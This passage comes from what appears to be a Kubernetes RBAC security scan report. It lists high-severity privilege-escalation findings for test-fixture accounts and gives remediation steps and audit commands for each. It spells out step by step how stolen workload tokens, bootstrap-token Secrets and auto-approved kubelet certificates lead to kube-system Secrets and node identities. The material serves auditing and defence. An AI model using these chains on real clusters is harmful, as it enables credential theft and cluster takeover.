  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH ServiceAccount/rbac-fixtures/sa-workload-mutate Namespace 8.0
ServiceAccount/rbac-fixtures/sa-workload-mutate can read kube-system Secrets in 2 hop(s)
Scope · Namespace Source ServiceAccount/rbac-fixtures/sa-workload-mutate → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/rbac-fixtures/sa-workload-mutate

Subject ServiceAccount/rbac-fixtures/sa-workload-mutate has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/foothold-exec/foothold-reader via workload_create_token_theft (create deployments/daemonsets/statefulsets/jobs/cronjobs): can create a workload whose pods run as ServiceAccount foothold-exec/foothold-reader
2. ServiceAccount/foothold-exec/foothold-reader → / via read_secrets (get,list secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/rbac-fixtures/sa-workload-mutate.
  2. Acting as ServiceAccount/rbac-fixtures/sa-workload-mutate, the attacker creates a workload (create deployments/daemonsets/statefulsets/jobs/cronjobs) whose pod template runs as ServiceAccount/foothold-exec/foothold-reader. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.
  3. Acting as ServiceAccount/foothold-exec/foothold-reader, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (get,list secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  4. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Step 1 of 2 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/foothold-exec/foothold-reader
    Permission granted create deployments/daemonsets/statefulsets/jobs/cronjobs
    Gives the attacker can create a workload whose pods run as ServiceAccount foothold-exec/foothold-reader
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the permission create deployments/daemonsets/statefulsets/jobs/cronjobs that enables the first hop (ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/foothold-exec/foothold-reader).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the permission create deployments/daemonsets/statefulsets/jobs/cronjobs that enables the first hop (ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/foothold-exec/foothold-reader).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH User/gw-deployer Namespace 8.0
User/gw-deployer can read kube-system Secrets in 2 hop(s)
Scope · Namespace Source User/gw-deployer → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: User/gw-deployer

Subject User/gw-deployer has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):
1. User/gw-deployer → ServiceAccount/gw-workloads/gw-powerful via workload_create_token_theft (create deployments): can create a workload whose pods run as ServiceAccount gw-workloads/gw-powerful
2. ServiceAccount/gw-workloads/gw-powerful → / via read_secrets (list secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectUser

A User in Kubernetes is whoever the authenticator says they are. There is no User object in the API. Identity comes from a client certificate's CN, an OIDC sub claim, a webhook, or a static token. RBAC then targets that identity by name. If you see "User foo" in a finding, foo is whatever string the authentication layer produced.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting User/gw-deployer.
  2. Acting as User/gw-deployer, the attacker creates a workload (create deployments) whose pod template runs as ServiceAccount/gw-workloads/gw-powerful. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.
  3. Acting as ServiceAccount/gw-workloads/gw-powerful, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (list secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  4. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Step 1 of 2 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From User/gw-deployer → ServiceAccount/gw-workloads/gw-powerful
    Permission granted create deployments
    Gives the attacker can create a workload whose pods run as ServiceAccount gw-workloads/gw-powerful
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/gw-workloads/gw-powerful
    Permission granted list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the permission create deployments that enables the first hop (User/gw-deployer → ServiceAccount/gw-workloads/gw-powerful).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the permission create deployments that enables the first hop (User/gw-deployer → ServiceAccount/gw-workloads/gw-powerful).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH User/gw-patcher Namespace 8.0
User/gw-patcher can read kube-system Secrets in 2 hop(s)
Scope · Namespace Source User/gw-patcher → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: User/gw-patcher

Subject User/gw-patcher has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):
1. User/gw-patcher → ServiceAccount/gw-workloads/gw-powerful via workload_hijack (patch deployments): can rewrite the pod template of Deployment gw-workloads/gw-web to run as ServiceAccount gw-workloads/gw-powerful
2. ServiceAccount/gw-workloads/gw-powerful → / via read_secrets (list secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectUser

A User in Kubernetes is whoever the authenticator says they are. There is no User object in the API. Identity comes from a client certificate's CN, an OIDC sub claim, a webhook, or a static token. RBAC then targets that identity by name. If you see "User foo" in a finding, foo is whatever string the authentication layer produced.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting User/gw-patcher.
  2. Acting as User/gw-patcher, the attacker rewrites the pod template of an existing workload (patch deployments) so that its pods run the attacker's code as ServiceAccount/gw-workloads/gw-powerful. The controller rolls out the change itself. The rewritten pods keep the rest of the workload's spec, including any host access it already had.
  3. Acting as ServiceAccount/gw-workloads/gw-powerful, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (list secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  4. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Step 1 of 2 Workload template rewrite workload_hijack

    update or patch on an existing Deployment, DaemonSet, StatefulSet, or CronJob lets the writer change its pod template: the image, the command, and the ServiceAccount. The controller then rolls out pods from the new template on its own. The writer gains every ServiceAccount in that namespace, the same as create pods.

    It can also give more than that. The rewritten pods keep the rest of the workload's spec, so a workload that already runs privileged or mounts the host (a CNI or log-shipper DaemonSet in kube-system, for example) hands that host access to the writer's code. A Job is not affected: its pod template cannot be changed after creation.

    From User/gw-patcher → ServiceAccount/gw-workloads/gw-powerful
    Permission granted patch deployments
    Gives the attacker can rewrite the pod template of Deployment gw-workloads/gw-web to run as ServiceAccount gw-workloads/gw-powerful
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/gw-workloads/gw-powerful
    Permission granted list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the permission patch deployments that enables the first hop (User/gw-patcher → ServiceAccount/gw-workloads/gw-powerful).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the permission patch deployments that enables the first hop (User/gw-patcher → ServiceAccount/gw-workloads/gw-powerful).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH ServiceAccount/nodeid-fixtures/nodeid-tokenwriter Namespace 7.9
ServiceAccount/nodeid-fixtures/nodeid-tokenwriter can read kube-system Secrets in 3 hop(s)
Scope · Namespace Source ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/nodeid-fixtures/nodeid-tokenwriter

Subject ServiceAccount/nodeid-fixtures/nodeid-tokenwriter has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (3 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → / via bootstrap_token_mint (create secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
2. ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/foothold-exec/foothold-reader via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-reader, whose pod is bound there
3. ServiceAccount/foothold-exec/foothold-reader → / via read_secrets (get,list secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/nodeid-fixtures/nodeid-tokenwriter.
  2. Acting as ServiceAccount/nodeid-fixtures/nodeid-tokenwriter, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (create secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/foothold-exec/foothold-reader through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/foothold-exec/foothold-reader.
  4. Acting as ServiceAccount/foothold-exec/foothold-reader, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (get,list secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  5. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Step 1 of 3 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter
    Permission granted create secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/foothold-exec/foothold-reader
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-reader, whose pod is bound there
  3. Step 3 of 3 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the permission create secrets in kube-system that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → /).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the permission create secrets in kube-system that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → /).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH

Subjects can obtain a node identity for any node in 1 hop(s)

KUBE-PRIVESC-PATH-NODE-IDENTITY 10 subjects Score 8.2–7.2
MITRE ATT&CK: T1078.004T1098T1552.007

Affected subjects (10)

HIGH ServiceAccount/nodeid-fixtures/nodeid-joiner Cluster 8.2
ServiceAccount/nodeid-fixtures/nodeid-joiner can obtain a node identity for any node in 1 hop(s)
Scope · Cluster Source ServiceAccount/nodeid-fixtures/nodeid-joiner → node identity
Category: Privilege Escalation Subject: ServiceAccount/nodeid-fixtures/nodeid-joiner

Subject ServiceAccount/nodeid-fixtures/nodeid-joiner has a privesc path that terminates in a kubelet client identity (system:node:<name> in system:nodes) for a node of its choosing.

The Node authorizer grants that identity, for the node it names, every Secret, ConfigMap, and PersistentVolumeClaim referenced by a pod bound to the node, and a TokenRequest for the ServiceAccount of any such pod. It checks the name prefix and the group, not that the caller is a kubelet, so an identity for any node name is the union of every pod credential in the cluster.

The chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/nodeid-fixtures/nodeid-joiner → / via csr_nodeclient_autoapprove (create certificatesigningrequests + create certificatesigningrequests/nodeclient): can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource

Impact Act as a kubelet for any node: mint tokens for the ServiceAccounts of the pods on it and read the Secrets they reference. Across node names that is every pod credential in the cluster, kube-system's controllers included.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/nodeid-fixtures/nodeid-joiner.
  2. Acting as ServiceAccount/nodeid-fixtures/nodeid-joiner, the attacker submits a CertificateSigningRequest for the kubernetes.io/kube-apiserver-client-kubelet signer naming system:node:<name> in system:nodes (create certificatesigningrequests + create certificatesigningrequests/nodeclient). The controller manager's CSR approver asks the API server whether the requester may create certificatesigningrequests/nodeclient; it may, so the CSR is approved and signed with no human step. Nothing ties the node name to the requester, so the certificate is a kubelet identity for any node the attacker names.
  3. With a kubelet identity for any node name, the attacker requests tokens for the ServiceAccounts of the pods on that node and reads the Secrets those pods reference. Repeating this for each node's name yields every pod credential in the cluster, including kube-system's.
  1. Kubelet CSR auto-approval: a node identity for any name csr_nodeclient_autoapprove

    Kubelets get their client certificates by submitting a CertificateSigningRequest that names system:node:<name> in the group system:nodes. The controller manager approves such a request by itself when a SubjectAccessReview says the requester may create certificatesigningrequests/nodeclient. It does not compare the node name to the requester, nor check that the node exists.

    Whoever holds that subresource together with create certificatesigningrequests therefore gets a signed kubelet identity for any node name, and the Node authorizer grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node. kubeadm binds the pair to its bootstrap group, which is the designed use.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner
    Permission granted create certificatesigningrequests + create certificatesigningrequests/nodeclient
    Gives the attacker can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
Remediation
Remove create certificatesigningrequests/nodeclient from identities that are not the bootstrap group, keep kube-system Secret writes to the control plane, never pair impersonate users with impersonate groups naming system:nodes, then break the chain at: remove the permission create certificatesigningrequests + create certificatesigningrequests/nodeclient that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-joiner → /).
  1. Break the chain at: remove the permission create certificatesigningrequests + create certificatesigningrequests/nodeclient that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-joiner → /).
  2. Audit who may create the nodeclient subresource: kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name == "system:certificates.k8s.io:certificatesigningrequests:nodeclient") | .subjects[]? | "\(.kind) \(.name)"'. Expect only system:bootstrappers:kubeadm:default-node-token.
  3. Alert on kubelet client CSRs whose requester is not a bootstrap token or an existing node, and on approved CSRs naming a node that does not exist (kubectl get csr -o custom-columns=NAME:.metadata.name,REQUESTOR:.spec.username,SIGNER:.spec.signerName,CONDITION:.status.conditions[*].type).
  4. Keep Secret writes in kube-system to the control plane and the platform team; alert on new Secrets of type bootstrap.kubernetes.io/token.
  5. Where a Secret write in kube-system cannot be removed, rotate or expire bootstrap tokens (kubeadm token list) and delete unused ones.
  6. Enable the NodeRestriction admission plugin (default on kubeadm) so a node identity obtained this way cannot also modify other nodes' pods or labels.
HIGH ServiceAccount/nodeid-fixtures/nodeid-tokenwriter Cluster 8.0
ServiceAccount/nodeid-fixtures/nodeid-tokenwriter can obtain a node identity for any node in 1 hop(s)
Scope · Cluster Source ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → node identity
Category: Privilege Escalation Subject: ServiceAccount/nodeid-fixtures/nodeid-tokenwriter

Subject ServiceAccount/nodeid-fixtures/nodeid-tokenwriter has a privesc path that terminates in a kubelet client identity (system:node:<name> in system:nodes) for a node of its choosing.

The Node authorizer grants that identity, for the node it names, every Secret, ConfigMap, and PersistentVolumeClaim referenced by a pod bound to the node, and a TokenRequest for the ServiceAccount of any such pod. It checks the name prefix and the group, not that the caller is a kubelet, so an identity for any node name is the union of every pod credential in the cluster.

The chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → / via bootstrap_token_mint (create secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name

Impact Act as a kubelet for any node: mint tokens for the ServiceAccounts of the pods on it and read the Secrets they reference. Across node names that is every pod credential in the cluster, kube-system's controllers included.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/nodeid-fixtures/nodeid-tokenwriter.
  2. Acting as ServiceAccount/nodeid-fixtures/nodeid-tokenwriter, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (create secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  3. With a kubelet identity for any node name, the attacker requests tokens for the ServiceAccounts of the pods on that node and reads the Secrets those pods reference. Repeating this for each node's name yields every pod credential in the cluster, including kube-system's.
  1. Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter
    Permission granted create secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
Remediation
Remove create certificatesigningrequests/nodeclient from identities that are not the bootstrap group, keep kube-system Secret writes to the control plane, never pair impersonate users with impersonate groups naming system:nodes, then break the chain at: remove the permission create secrets in kube-system that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → /).
  1. Break the chain at: remove the permission create secrets in kube-system that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → /).
  2. Audit who may create the nodeclient subresource: kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name == "system:certificates.k8s.io:certificatesigningrequests:nodeclient") | .subjects[]? | "\(.kind) \(.name)"'. Expect only system:bootstrappers:kubeadm:default-node-token.
  3. Alert on kubelet client CSRs whose requester is not a bootstrap token or an existing node, and on approved CSRs naming a node that does not exist (kubectl get csr -o custom-columns=NAME:.metadata.name,REQUESTOR:.spec.username,SIGNER:.spec.signerName,CONDITION:.status.conditions[*].type).
  4. Keep Secret writes in kube-system to the control plane and the platform team; alert on new Secrets of type bootstrap.kubernetes.io/token.
  5. Where a Secret write in kube-system cannot be removed, rotate or expire bootstrap tokens (kubeadm token list) and delete unused ones.
  6. Enable the NodeRestriction admission plugin (default on kubeadm) so a node identity obtained this way cannot also modify other nodes' pods or labels.
HIGH ServiceAccount/privesc-fixtures/sa-secret-mint Cluster 8.0
ServiceAccount/privesc-fixtures/sa-secret-mint can obtain a node identity for any node in 1 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-secret-mint → node identity
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-secret-mint

Subject ServiceAccount/privesc-fixtures/sa-secret-mint has a privesc path that terminates in a kubelet client identity (system:node:<name> in system:nodes) for a node of its choosing.

The Node authorizer grants that identity, for the node it names, every Secret, ConfigMap, and PersistentVolumeClaim referenced by a pod bound to the node, and a TokenRequest for the ServiceAccount of any such pod. It checks the name prefix and the group, not that the caller is a kubelet, so an identity for any node name is the union of every pod credential in the cluster.

The chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/privesc-fixtures/sa-secret-mint → / via bootstrap_token_mint (create,get secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name

Impact Act as a kubelet for any node: mint tokens for the ServiceAccounts of the pods on it and read the Secrets they reference. Across node names that is every pod credential in the cluster, kube-system's controllers included.
How an attacker abuses this
Background
SubjectServiceAccount

